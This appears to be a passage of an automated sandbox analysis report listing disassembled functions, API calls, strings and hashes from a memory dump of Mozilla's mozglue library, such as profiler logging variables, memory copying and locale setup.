wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C4FEDCC
CreateFileW.KERNEL32 ref: 6C4FEE08
free.MOZGLUE(00000000), ref: 6C4FEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C4FEE32

Part of subcall function 6C4FEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C4FEBB5
Part of subcall function 6C4FEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C52D7F3), ref: 6C4FEBC3
Part of subcall function 6C4FEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C52D7F3), ref: 6C4FEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C4FEDC1

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 6599c6426cb9fe9fadefe3bbf7d181f99363904adf466fdf6eb7f9a70a4cb42d
Instruction ID: 08d8fbd141f87492eea14401828e125bb505c94ff8442f10939d6fa2697f8789
Opcode Fuzzy Hash: 6599c6426cb9fe9fadefe3bbf7d181f99363904adf466fdf6eb7f9a70a4cb42d
Instruction Fuzzy Hash: 9451D171D05205CBDB01DF68D880EEEB7B1AF99319F44852DD86567B40E730698AC7E2

Function 6C56A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C56A565

Part of subcall function 6C56A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C56A4BE
Part of subcall function 6C56A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C56A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C56A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C56A6B6

Strings

0, xrefs: 6C56A5FB
z, xrefs: 6C56A6AE

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 9e0a775b3dda88f648887f785490f2316061c65684f3e1cae285a35ff258ae52
Instruction ID: cc675ab46c7a391848ed7118e510f6c316c61c5db4a753348aa63b05d0ff8007
Opcode Fuzzy Hash: 9e0a775b3dda88f648887f785490f2316061c65684f3e1cae285a35ff258ae52
Instruction Fuzzy Hash: 714139719087459FC741DF29C880A8FBBE5BFC9354F409A2EF49987660EB30E549CB92

Function 6C539420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C52AB89: EnterCriticalSection.KERNEL32(6C57E370,?,?,?,6C4F34DE,6C57F6CC,?,?,?,?,?,?,?,6C4F3284), ref: 6C52AB94
Part of subcall function 6C52AB89: LeaveCriticalSection.KERNEL32(6C57E370,?,6C4F34DE,6C57F6CC,?,?,?,?,?,?,?,6C4F3284,?,?,6C5156F6), ref: 6C52ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C504A68), ref: 6C53945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C539470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C539482
__Init_thread_footer.LIBCMT ref: 6C53949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C53947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C53946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C539459

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 13ebd908ed6001e58599890a272a0aab458e528ba7c45e1d8c069da04880a506
Instruction ID: f9f3716134e6850ae3058bfa111d406ab4362a65b85ba051b4d65fd0a2e51712
Opcode Fuzzy Hash: 13ebd908ed6001e58599890a272a0aab458e528ba7c45e1d8c069da04880a506
Instruction Fuzzy Hash: 820175B0A001218BD710DB5DDD15E4E33B6BB45329F050636D90EC6A91EB25E8E58ABF

Function 6C540F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C540F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C540F88
GetCurrentThreadId.KERNEL32 ref: 6C540FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C541067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C5410A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C54114B

Part of subcall function 6C538AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C551563), ref: 6C538BD5

free.MOZGLUE(?), ref: 6C541174
free.MOZGLUE(?), ref: 6C541186

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: aee4227a4178dd1a1c19f58875ed7a76a8371ea7963f9a4abb4ca6b94a73749c
Instruction ID: 365515c3dbeff28d0e80b9dd0299d311d781bdf1575d082fb1c3b29753e9bfe6
Opcode Fuzzy Hash: aee4227a4178dd1a1c19f58875ed7a76a8371ea7963f9a4abb4ca6b94a73749c
Instruction Fuzzy Hash: 3661AA75A04340DBDB11DF25CC80BAAB7F6AFC5308F14991DE88947711EB71E898CB82

Function 6C4FB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C4FB61E,?,?,?,?,?,00000000), ref: 6C4FB6AC

Part of subcall function 6C50CA10: malloc.MOZGLUE(?), ref: 6C50CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C4FB61E,?,?,?,?,?,00000000), ref: 6C4FB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C4FB61E,?,?,?,?,?,00000000), ref: 6C4FB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C4FB61E,?,?,?,?,?,00000000), ref: 6C4FB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C4FB61E,?,?,?,?,?,00000000), ref: 6C4FB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C4FB61E), ref: 6C4FB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C4FB61E,?,?,?,?,?,00000000), ref: 6C4FB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C4FB61E,?,?,?,?,?,00000000), ref: 6C4FB79A

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 1d1bd83bec192bfad02d6a4ea329771074dd6bb42e91828821c97bce9b536466
Instruction ID: b75cf3751a45d179e4d2eb8d0ac59e5e711964dfe3e8677499481657650bd889
Opcode Fuzzy Hash: 1d1bd83bec192bfad02d6a4ea329771074dd6bb42e91828821c97bce9b536466
Instruction Fuzzy Hash: EB41A2B2D001159FCB04DE68DC80DAFB7F5BB85324F294669E825E7790E731AD0587E1

Function 6C4FEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C575104), ref: 6C4FEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4FEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4FEFEC
free.MOZGLUE(?), ref: 6C4FF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4FF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C4FF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4FF065
moz_xmalloc.MOZGLUE ref: 6C4FF072

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: afba9231843ddd90fceb7df389678654a721e193f0b7c8d02e058eb581f9f336
Instruction ID: 6566a511e19d703a13b004d3349b45c15a62b7c858fcfab08caf6585035f0fcb
Opcode Fuzzy Hash: afba9231843ddd90fceb7df389678654a721e193f0b7c8d02e058eb581f9f336
Instruction Fuzzy Hash: AC41D6B1A002159FDB08CF68DC81DAE77A5EFC5314B244268E825DB7A4EB31ED16C7E1

Function 6C56B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C56B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C56B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C56B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C56B5F4
__Init_thread_footer.LIBCMT ref: 6C56B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C56B61F
std::_Facet_Register.LIBCPMT ref: 6C56B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C56B655

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: d8c303feae934b0d40e13b3ffa6d5565bf4b81795dee262ff0469474e72defda
Instruction ID: cf684476939858fedf68010a0d8a8d4a0fc55fe28be6af058b27319a03d0bd49
Opcode Fuzzy Hash: d8c303feae934b0d40e13b3ffa6d5565bf4b81795dee262ff0469474e72defda
Instruction Fuzzy Hash: 2A318471B00224CBCF01EF69CD589AEB7B5FF8A324B160519E90297790DB34AD46CFA5

Function 6C536590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C52FA80: GetCurrentThreadId.KERNEL32 ref: 6C52FA8D
Part of subcall function 6C52FA80: AcquireSRWLockExclusive.KERNEL32(6C57F448), ref: 6C52FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C536727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5367C8

Part of subcall function 6C544290: memcpy.VCRUNTIME140(?,?,6C552003,6C550AD9,?,6C550AD9,00000000,?,6C550AD9,?,00000004,?,6C551A62,?,6C552003,?), ref: 6C5442C4

Strings

data, xrefs: 6C536593
vWl, xrefs: 6C53696C

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vWl
API String ID: 511789754-3816509395
Opcode ID: 6742edab205e2896fa1bda30ec1a73f8674cc6315ce8ecf6a0229efa2647d580
Instruction ID: 5986a2aa7d3e5dc78a1716f6502a5f6e3f41cad7c1c5efd4fccca544133e8eac
Opcode Fuzzy Hash: 6742edab205e2896fa1bda30ec1a73f8674cc6315ce8ecf6a0229efa2647d580
Instruction Fuzzy Hash: 3AD19A75A08350CFD724DF25CC51B9AB7E5BFC5308F64892EE48987B91EB30A849CB52

Function 6C52D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C4FEB57,?,?,?,?,?,?,?,?,?), ref: 6C52D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C4FEB57,?), ref: 6C52D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C4FEB57,?), ref: 6C52D673
free.MOZGLUE(?), ref: 6C52D888

Strings

WOl, xrefs: 6C52D5D9, 6C52D63F
|Enabled, xrefs: 6C52D81E

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WOl$|Enabled
API String ID: 4142949111-1509063220
Opcode ID: 245bcbe36a301a83386dd6c74c2c69c97e273eb7b23ab4e3c7134c1a6c28a0ae
Instruction ID: 6d806bc546cf41142baedf04d67cf86b8f631198756496041885b2e9630ff1f5
Opcode Fuzzy Hash: 245bcbe36a301a83386dd6c74c2c69c97e273eb7b23ab4e3c7134c1a6c28a0ae
Instruction Fuzzy Hash: 13A1D1B0A042548FDB11CF69CC90BAEBBF1AF49318F18855CD895AB781D739A845CBA1

Function 6C509830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C557ABE), ref: 6C50985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C557ABE), ref: 6C5098A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C509909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C509918
free.MOZGLUE(?), ref: 6C509975

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: c9442d10ffdeaddc519b99c614ebd7165967b593612cfed57cd712f4090965b9
Instruction ID: bdf594de79572e91922b76c70983d2a11961a6ebfc847b5abf3bda8edc99df40
Opcode Fuzzy Hash: c9442d10ffdeaddc519b99c614ebd7165967b593612cfed57cd712f4090965b9
Instruction Fuzzy Hash: 6C718AB4604B058FC725CF28C880956B7F1FF8A3247644AADE85ACBBA4D771F845CB91

Function 6C50B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C54CC83,?,?,?,?,?,?,?,?,?,6C54BCAE,?,?,6C53DC2C), ref: 6C50B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C54CC83,?,?,?,?,?,?,?,?,?,6C54BCAE,?,?,6C53DC2C), ref: 6C50B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C54CC83,?,?,?,?,?,?,?,?,?,6C54BCAE), ref: 6C50B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C54CC83,?,?,?,?,?,?,?,?,?,6C54BCAE,?,?,6C53DC2C), ref: 6C50B896

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 501c6851c2ce4c4ad422880f7cf21f766806d5bf83a3573a6bd5664d75bfa56b
Instruction ID: 8676c52e37e285647fae5b425c20be5163488ae0bbb32013671dd8dfe70dd22a
Opcode Fuzzy Hash: 501c6851c2ce4c4ad422880f7cf21f766806d5bf83a3573a6bd5664d75bfa56b
Instruction Fuzzy Hash: 155177357006108FCB25EF59C9C4A2ABBF5FF89318B6A8959E99AD7351C731EC01CB84

Function 6C541D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C541D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C541BE3,?,?,6C541D96,00000000), ref: 6C541D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C541BE3,?,?,6C541D96,00000000), ref: 6C541D4C
GetCurrentThreadId.KERNEL32 ref: 6C541DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C541DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C541DDA

Part of subcall function 6C541EF0: GetCurrentThreadId.KERNEL32 ref: 6C541F03
Part of subcall function 6C541EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C541DF2,00000000,00000000), ref: 6C541F0C
Part of subcall function 6C541EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C541F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C541DF4

Part of subcall function 6C50CA10: malloc.MOZGLUE(?), ref: 6C50CA26

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: bef18cdaaf6200a17955241e6a3e2d691dfe9ebf845d09bd6c3e4b718f5de618
Instruction ID: 8438538435f102d985302b82f93b24ef5b098dca1d45bcf2aaf4924c0eacc68e
Opcode Fuzzy Hash: bef18cdaaf6200a17955241e6a3e2d691dfe9ebf845d09bd6c3e4b718f5de618
Instruction Fuzzy Hash: AA4147B52017009FCB10DF29C888A56BBF9FB89314F11842AE95A87B41DB71E854CBA5

Function 6C5384E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5384F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C53850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C53851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C53855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C53856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5385AC

Part of subcall function 6C537670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5385B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C53767F
Part of subcall function 6C537670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5385B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C537693
Part of subcall function 6C537670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5385B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5376A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5385B2

Part of subcall function 6C515E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C515EDB
Part of subcall function 6C515E90: memset.VCRUNTIME140(ewUl,000000E5,?), ref: 6C515F27
Part of subcall function 6C515E90: LeaveCriticalSection.KERNEL32(?), ref: 6C515FB2

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4f0000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: f1304e2d1fd49bd98ce40baa58a24008c70762f3a31138259320474e521d6318
Instruction ID: 154a20c614d8a2f9338971a8edd8eec4806091ecb5b66db96e8663b93c04c993
Opcode Fuzzy Hash: f1304e2d1fd49bd98ce40baa58a24008c70762f3a31138259320474e521d6318
Instruction Fuzzy Hash: 5121A3742016119FDB19DB24CC88A5A77B5AF8430CF24482EE55FC3B42EB31F948CBA6

Function 6C501640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C501699
VerSetConditionMask.NTDLL ref: 6C5016CB
VerSetConditionMask.NTDLL ref: 6C5016D7
VerSetConditionMask.NTDLL ref: 6C5016DE
VerSetConditionMask.NTDLL ref: 6C5016E5
VerSetConditionMask.NTDLL ref: 6C5016EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5016F9

Memory Dump Source

Source File: 00000000.00000002.2610862602.000000006C4F1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4F0000, based on PE: true

Associated: 00000000.00000002.2610814238.000000006C4F0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611032746.000000006C56D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611129108.000000006C57E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2611179765.000000006C582000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

